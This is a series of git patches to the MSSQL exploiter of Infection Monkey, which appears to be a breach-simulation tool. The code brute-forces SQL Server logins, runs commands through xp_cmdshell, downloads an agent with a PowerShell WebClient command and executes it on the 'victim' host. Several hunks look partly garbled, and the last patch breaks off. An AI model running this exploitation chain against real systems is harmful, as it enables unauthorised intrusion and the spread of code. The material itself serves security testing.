From 6db63d3c69cc1879d9ca07e41f00dac5a4b0448f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Jun 2022 16:52:19 -0400 Subject: [PATCH 01/16] Agent: Add additional debug logging to MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 526c85caa..b519ee422 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -113,12 +113,14 @@ class MSSQLExploiter(HostExploiter): return self.run_mssql_command(file_running_command) def create_temp_dir(self): + logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") dir_creation_command = MSSQLLimitedSizePayload( command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) ) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): + logger.debug(f"Creating an empty payload file: {self.payload_file_path}") suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( payload_file_path=self.payload_file_path ) @@ -133,11 +135,16 @@ class MSSQLExploiter(HostExploiter): def run_monkey(self, monkey_path_on_victim: PurePath): monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) + logger.debug( + f"Launching the agent: {monkey_launch_command.prefix} -- " + f"{monkey_launch_command.command} -- {monkey_launch_command.suffix}" + ) self.run_mssql_command(monkey_launch_command) self.run_payload_file() def run_mssql_commands(self, cmds): for cmd in cmds: + logger.debug(f"Running command on SQL Server: {cmd}") self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) From ef63f2699b708932a7fd14a547b300062465a092 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 11:18:00 -0400 Subject: [PATCH 02/16] Agent: Use single quotes to avoid 128 character limit The logic that splits up commands into 128 character chunks in MSSQLExploiter is flawed, which results in malformed commands being written to a batch file on the victim. By using single quotes instead of double quotes, the 128 character limit is circumvented and there's no longer any need to break up the commands. See #2018 for more details. Fixes #2018 --- monkey/infection_monkey/exploit/mssqlexec.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index b519ee422..453e875ca 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -33,16 +33,16 @@ class MSSQLExploiter(HostExploiter): TMP_FILE_NAME = "tmp_monkey.bat" TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" - MAX_XP_CMDSHELL_COMMAND_SIZE = 128 + MAX_XP_CMDSHELL_COMMAND_SIZE = 12800 - XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "' - XP_CMDSHELL_COMMAND_END = '"' + XP_CMDSHELL_COMMAND_START = "xp_cmdshell '" + XP_CMDSHELL_COMMAND_END = "'" EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" CREATE_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." - "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" + "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) def __init__(self): From ea980c4594fcab6011769feb56760396ce8ed962 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 11:32:54 -0400 Subject: [PATCH 03/16] Agent: Use PureWindowsPath in MSSQLExploiter When using PurePath, Linux agents use the wrong path separator to build Windows paths. Windows corrects this, so there's no actual issue, but it's sloppy. Using PureWindowsPath objects creates the paths with the correct separators Before: xp_cmdshell "NUL>%temp%\tmp_monkey_dir/tmp_monkey.bat" After: xp_cmdshell "NUL>%temp%\tmp_monkey_dir\tmp_monkey.bat" --- monkey/infection_monkey/exploit/mssqlexec.py | 23 +++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 453e875ca..4f9608acb 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,5 @@ import logging -import os -from pathlib import PurePath +from pathlib import PureWindowsPath from time import sleep import pymssql @@ -31,7 +30,7 @@ class MSSQLExploiter(HostExploiter): # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = "tmp_monkey.bat" - TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" + TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 12800 @@ -49,9 +48,7 @@ class MSSQLExploiter(HostExploiter): super().__init__() self.cursor = None self.agent_http_path = None - self.payload_file_path = os.path.join( - MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME - ) + self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME def _exploit_host(self) -> ExploiterResultData: """ @@ -109,7 +106,7 @@ class MSSQLExploiter(HostExploiter): return self.exploit_result def run_payload_file(self): - file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + file_running_command = MSSQLLimitedSizePayload(str(self.payload_file_path)) return self.run_mssql_command(file_running_command) def create_temp_dir(self): @@ -133,7 +130,7 @@ class MSSQLExploiter(HostExploiter): raise Exception("Couldn't execute MSSQL exploiter because payload was too long") self.run_mssql_commands(array_of_commands) - def run_monkey(self, monkey_path_on_victim: PurePath): + def run_monkey(self, monkey_path_on_victim: PureWindowsPath): monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) logger.debug( f"Launching the agent: {monkey_launch_command.prefix} -- " @@ -148,7 +145,7 @@ class MSSQLExploiter(HostExploiter): self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) - def upload_monkey(self, monkey_path_on_victim: PurePath): + def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) @@ -164,7 +161,7 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer: + def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_repository ) @@ -175,12 +172,12 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self, monkey_path_on_victim: PurePath): + def write_download_command_to_payload(self, monkey_path_on_victim: PureWindowsPath): monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) self.run_mssql_command(monkey_download_command) return monkey_download_command - def get_monkey_launch_command(self, monkey_path_on_victim: PurePath): + def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): # Form monkey's launch command monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim @@ -193,7 +190,7 @@ class MSSQLExploiter(HostExploiter): suffix=suffix, ) - def get_monkey_download_command(self, monkey_path_on_victim: PurePath): + def get_monkey_download_command(self, monkey_path_on_victim: PureWindowsPath): monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) ) From 7846a6cac1ac4b34b1a3a7ffd5a9e957a857e17b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 12:13:45 -0400 Subject: [PATCH 04/16] Agent: Remove create_empty_payload_file() in MSSQLExploiter Since the commands are no longer split up into 128 character chunks, it's simpler to just overwrite an existing file using `>` than to create an empty file and append to it. --- monkey/infection_monkey/exploit/mssqlexec.py | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 4f9608acb..8b378f418 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -37,8 +37,7 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell '" XP_CMDSHELL_COMMAND_END = "'" EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" - CREATE_COMMAND_SUFFIX = ">{payload_file_path}" + EXPLOIT_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" @@ -79,15 +78,11 @@ class MSSQLExploiter(HostExploiter): try: # Create dir for payload self.create_temp_dir() - self.create_empty_payload_file() http_thread = self.start_monkey_server(monkey_path_on_victim) self.upload_monkey(monkey_path_on_victim) MSSQLExploiter._stop_monkey_server(http_thread) - # Clear payload to pass in another command - self.create_empty_payload_file() - self.run_monkey(monkey_path_on_victim) self.remove_temp_dir() @@ -116,14 +111,6 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(dir_creation_command) - def create_empty_payload_file(self): - logger.debug(f"Creating an empty payload file: {self.payload_file_path}") - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path - ) - tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) - self.run_mssql_command(tmp_file_creation_command) - def run_mssql_command(self, mssql_command): array_of_commands = mssql_command.split_into_array_of_smaller_payloads() if not array_of_commands: @@ -182,7 +169,7 @@ class MSSQLExploiter(HostExploiter): monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim ) - suffix = ">>{}".format(self.payload_file_path) + suffix = ">{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( command="{} {} {}".format(monkey_path_on_victim, DROPPER_ARG, monkey_args), From 257c6b0b055a3beaeefcc1b7dc2d35301d81bf18 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 12:32:29 -0400 Subject: [PATCH 05/16] Agent: Refactor MSSQL agent download command The first step in exploitation is to instruct the victim to download the agent. This commit refactors this code to remove the dependency on the MSSQLLimitedSizePayload. To do this, it introduces `_write_command_to_batch_file()` which will be reused by the agent execution command. --- monkey/infection_monkey/exploit/mssqlexec.py | 38 ++++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 8b378f418..f80dc3db6 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -37,7 +37,6 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell '" XP_CMDSHELL_COMMAND_END = "'" EXPLOIT_COMMAND_PREFIX = "{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" @@ -133,9 +132,8 @@ class MSSQLExploiter(HostExploiter): sleep(MSSQLExploiter.QUERY_BUFFER) def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): - monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) + self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() - self.add_executed_cmd(monkey_download_command.command) def remove_temp_dir(self): # Remove temporary dir we stored payload at @@ -159,10 +157,24 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self, monkey_path_on_victim: PureWindowsPath): - monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) - self.run_mssql_command(monkey_download_command) - return monkey_download_command + def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): + agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( + http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) + ) + self._write_command_to_batch_file(agent_download_command) + + def _write_command_to_batch_file(self, command: str): + write_to_file_command = f"{self.payload_file_path}" + self._run_mssql_command(write_to_file_command) + + # Note: This is a strangler used to replace self.run_mssql_command() + def _run_mssql_command(self, command: str): + logger.debug(f"Running command on SQL Server: {command}") + + self.cursor.execute(f"xp_cmdshell '{command}'") + self.add_executed_cmd(command) + + sleep(MSSQLExploiter.QUERY_BUFFER) def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): # Form monkey's launch command @@ -177,18 +189,6 @@ class MSSQLExploiter(HostExploiter): suffix=suffix, ) - def get_monkey_download_command(self, monkey_path_on_victim: PureWindowsPath): - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) - ) - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path - ) - return MSSQLLimitedSizePayload( - command=monkey_download_command, suffix=suffix, prefix=prefix - ) - def brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. From b2aa8333c32896d126fafcc4712baa76c84c4080 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 12:43:06 -0400 Subject: [PATCH 06/16] Agent: Refactor MSSQL cleanup commands * Simplify! * Remove the dependency on MSSQLLimitedSizePayload. * Use f-strings --- monkey/infection_monkey/exploit/mssqlexec.py | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f80dc3db6..55547dd1a 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -136,15 +136,8 @@ class MSSQLExploiter(HostExploiter): self.run_payload_file() def remove_temp_dir(self): - # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload( - command="del {}".format(self.payload_file_path) - ) - self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload( - command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) - ) - self.run_mssql_command(tmp_dir_removal_command) + self._run_mssql_command(f"del {self.payload_file_path}") + self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( From f349e1a334b68d1173c64c522a2c329f175d8f14 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 12:51:43 -0400 Subject: [PATCH 07/16] Agent: Refactor MSSQL run agent commands Remove the dependency on the MSSQLLimitedSizePayload and use simple methods like "_write_command_to_batch_file()". --- monkey/infection_monkey/exploit/mssqlexec.py | 22 +++++++------------- 1 file changed, 7 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 55547dd1a..cc4aed8d5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -36,7 +36,6 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell '" XP_CMDSHELL_COMMAND_END = "'" - EXPLOIT_COMMAND_PREFIX = " Date: Tue, 14 Jun 2022 12:54:37 -0400 Subject: [PATCH 08/16] Agent: Refactor MSSQL run payload file commands Use _run_mssql_command() and remove the dependency on MSSQLLimitedSizePayload. --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index cc4aed8d5..fd554504b 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -99,8 +99,7 @@ class MSSQLExploiter(HostExploiter): return self.exploit_result def run_payload_file(self): - file_running_command = MSSQLLimitedSizePayload(str(self.payload_file_path)) - return self.run_mssql_command(file_running_command) + self._run_mssql_command(str(self.payload_file_path)) def create_temp_dir(self): logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") From 522e62ad141a6354f2c06867f87c5140f1719ad4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 12:57:19 -0400 Subject: [PATCH 09/16] Agent: Refactor MSSQL create directory commands Use _run_mssql_command() and remove the dependency on MSSQLLimitedSizePayload. --- monkey/infection_monkey/exploit/mssqlexec.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fd554504b..cb09c79fc 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -103,10 +103,9 @@ class MSSQLExploiter(HostExploiter): def create_temp_dir(self): logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") - dir_creation_command = MSSQLLimitedSizePayload( - command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) - ) - self.run_mssql_command(dir_creation_command) + + mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" + self._run_mssql_command(mkdir_command) def run_mssql_command(self, mssql_command): array_of_commands = mssql_command.split_into_array_of_smaller_payloads() From ff83f41b4ad9080ed3ee7fb45225fc50099ccdfb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 12:59:49 -0400 Subject: [PATCH 10/16] Agent: Remove disused run_mssql_command() --- monkey/infection_monkey/exploit/mssqlexec.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index cb09c79fc..3dae07a21 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -107,12 +107,6 @@ class MSSQLExploiter(HostExploiter): mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" self._run_mssql_command(mkdir_command) - def run_mssql_command(self, mssql_command): - array_of_commands = mssql_command.split_into_array_of_smaller_payloads() - if not array_of_commands: - raise Exception("Couldn't execute MSSQL exploiter because payload was too long") - self.run_mssql_commands(array_of_commands) - def run_monkey(self, monkey_path_on_victim: PureWindowsPath): self._write_agent_launch_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() From 0e2a63b6ac30da1116d6cc4d27335373da659ed2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 13:00:08 -0400 Subject: [PATCH 11/16] Agent: Remove disused run_mssql_commands() --- monkey/infection_monkey/exploit/mssqlexec.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 3dae07a21..820c40228 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -115,12 +115,6 @@ class MSSQLExploiter(HostExploiter): agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) self._write_command_to_batch_file(agent_launch_command) - def run_mssql_commands(self, cmds): - for cmd in cmds: - logger.debug(f"Running command on SQL Server: {cmd}") - self.cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) - def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() @@ -150,7 +144,6 @@ class MSSQLExploiter(HostExploiter): write_to_file_command = f"{self.payload_file_path}" self._run_mssql_command(write_to_file_command) - # Note: This is a strangler used to replace self.run_mssql_command() def _run_mssql_command(self, command: str): logger.debug(f"Running command on SQL Server: {command}") From a54eca96ba5a2b844c173c66ce66e3471c7ef5d7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 13:30:57 -0400 Subject: [PATCH 12/16] Agent: Remove disused MSSQLLimitedSizePayload --- monkey/infection_monkey/exploit/mssqlexec.py | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 820c40228..111498493 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,6 @@ from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG from infection_monkey.transport import LockedHTTPServer @@ -32,10 +31,6 @@ class MSSQLExploiter(HostExploiter): TMP_FILE_NAME = "tmp_monkey.bat" TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir" - MAX_XP_CMDSHELL_COMMAND_SIZE = 12800 - - XP_CMDSHELL_COMMAND_START = "xp_cmdshell '" - XP_CMDSHELL_COMMAND_END = "'" MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" @@ -216,13 +211,3 @@ class MSSQLExploiter(HostExploiter): raise FailedExploitationError( "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) - - -class MSSQLLimitedSizePayload(LimitedSizePayload): - def __init__(self, command, prefix="", suffix=""): - super(MSSQLLimitedSizePayload, self).__init__( - command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, - ) From 819262ef73069f0c1cf0b1e9a144aff4f043fe27 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 13:34:27 -0400 Subject: [PATCH 13/16] Agent: Remove disused "Payload" classes --- .../exploit/tools/payload_parsing.py | 64 ------------------- .../exploit/tools/test_payload.py | 38 ----------- 2 files changed, 102 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py deleted file mode 100644 index ef2e11426..000000000 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ /dev/null @@ -1,64 +0,0 @@ -import textwrap - - -class Payload(object): - """ - Class for defining and parsing a payload (commands with prefixes/suffixes) - """ - - def __init__(self, command, prefix="", suffix=""): - self.command = command - self.prefix = prefix - self.suffix = suffix - - def get_payload(self, command=""): - """ - Returns prefixed and suffixed command (payload) - :param command: Command to suffix/prefix. If no command is passed than objects' property - is used - :return: prefixed and suffixed command (full payload) - """ - if not command: - command = self.command - return "{}{}{}".format(self.prefix, command, self.suffix) - - -class LimitedSizePayload(Payload): - """ - Class for defining and parsing commands/payloads - """ - - def __init__(self, command, max_length, prefix="", suffix=""): - """ - :param command: command - :param max_length: max length that payload(prefix + command + suffix) can have - :param prefix: commands prefix - :param suffix: commands suffix - """ - super(LimitedSizePayload, self).__init__(command, prefix, suffix) - self.max_length = max_length - - def is_suffix_and_prefix_too_long(self): - return self.payload_is_too_long(self.suffix + self.prefix) - - def split_into_array_of_smaller_payloads(self): - if self.is_suffix_and_prefix_too_long(): - raise Exception( - "Can't split command into smaller sub-commands because commands' prefix and " - "suffix already " - "exceeds required length of command." - ) - - elif self.command == "": - return [self.prefix + self.suffix] - wrapper = textwrap.TextWrapper( - drop_whitespace=False, width=self.get_max_sub_payload_length() - ) - commands = [self.get_payload(part) for part in wrapper.wrap(self.command)] - return commands - - def get_max_sub_payload_length(self): - return self.max_length - len(self.prefix) - len(self.suffix) - - def payload_is_too_long(self, command): - return len(command) >= self.max_length diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py deleted file mode 100644 index 2656a7ada..000000000 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py +++ /dev/null @@ -1,38 +0,0 @@ -from unittest import TestCase - -from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload, Payload - - -class TestPayload(TestCase): - def test_get_payload(self): - test_str1 = "abc" - test_str2 = "atc" - payload = Payload(command="b", prefix="a", suffix="c") - assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 - - def test_is_suffix_and_prefix_too_long(self): - pld_fail = LimitedSizePayload("b", 2, "a", "c") - pld_success = LimitedSizePayload("b", 3, "a", "c") - assert ( - pld_fail.is_suffix_and_prefix_too_long() - and not pld_success.is_suffix_and_prefix_too_long() - ) - - def test_split_into_array_of_smaller_payloads(self): - test_str1 = "123456789" - pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") - array1 = pld1.split_into_array_of_smaller_payloads() - test1 = bool( - array1[0] == "prefix1234suffix" - and array1[1] == "prefix5678suffix" - and array1[2] == "prefix9suffix" - ) - - test_str2 = "12345678" - pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") - array2 = pld2.split_into_array_of_smaller_payloads() - test2 = bool( - array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2 - ) - - assert test1 and test2 From 8d9a2c536f7ac6ebe305e10f95de286a56936d48 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:09:58 -0400 Subject: [PATCH 14/16] Agent: Reorder methods in MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 52 ++++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 111498493..7495b38d7 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -93,42 +93,16 @@ class MSSQLExploiter(HostExploiter): self.exploit_result.propagation_success = True return self.exploit_result - def run_payload_file(self): - self._run_mssql_command(str(self.payload_file_path)) - def create_temp_dir(self): logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" self._run_mssql_command(mkdir_command) - def run_monkey(self, monkey_path_on_victim: PureWindowsPath): - self._write_agent_launch_command_to_batch_file(monkey_path_on_victim) - self.run_payload_file() - - def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim): - agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) - self._write_command_to_batch_file(agent_launch_command) - def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() - def remove_temp_dir(self): - self._run_mssql_command(f"del {self.payload_file_path}") - self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - - def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: - self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, str(monkey_path_on_victim), self.agent_repository - ) - return http_thread - - @staticmethod - def _stop_monkey_server(http_thread): - http_thread.stop() - http_thread.join(LONG_REQUEST_TIMEOUT) - def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) @@ -147,6 +121,17 @@ class MSSQLExploiter(HostExploiter): sleep(MSSQLExploiter.QUERY_BUFFER) + def run_payload_file(self): + self._run_mssql_command(str(self.payload_file_path)) + + def run_monkey(self, monkey_path_on_victim: PureWindowsPath): + self._write_agent_launch_command_to_batch_file(monkey_path_on_victim) + self.run_payload_file() + + def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim): + agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) + self._write_command_to_batch_file(agent_launch_command) + def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim @@ -154,6 +139,21 @@ class MSSQLExploiter(HostExploiter): return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}" + def remove_temp_dir(self): + self._run_mssql_command(f"del {self.payload_file_path}") + self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") + + def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, str(monkey_path_on_victim), self.agent_repository + ) + return http_thread + + @staticmethod + def _stop_monkey_server(http_thread): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) + def brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. From 83a2a911e96c84efba27a5fff28b2de450b0561a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:49:35 -0400 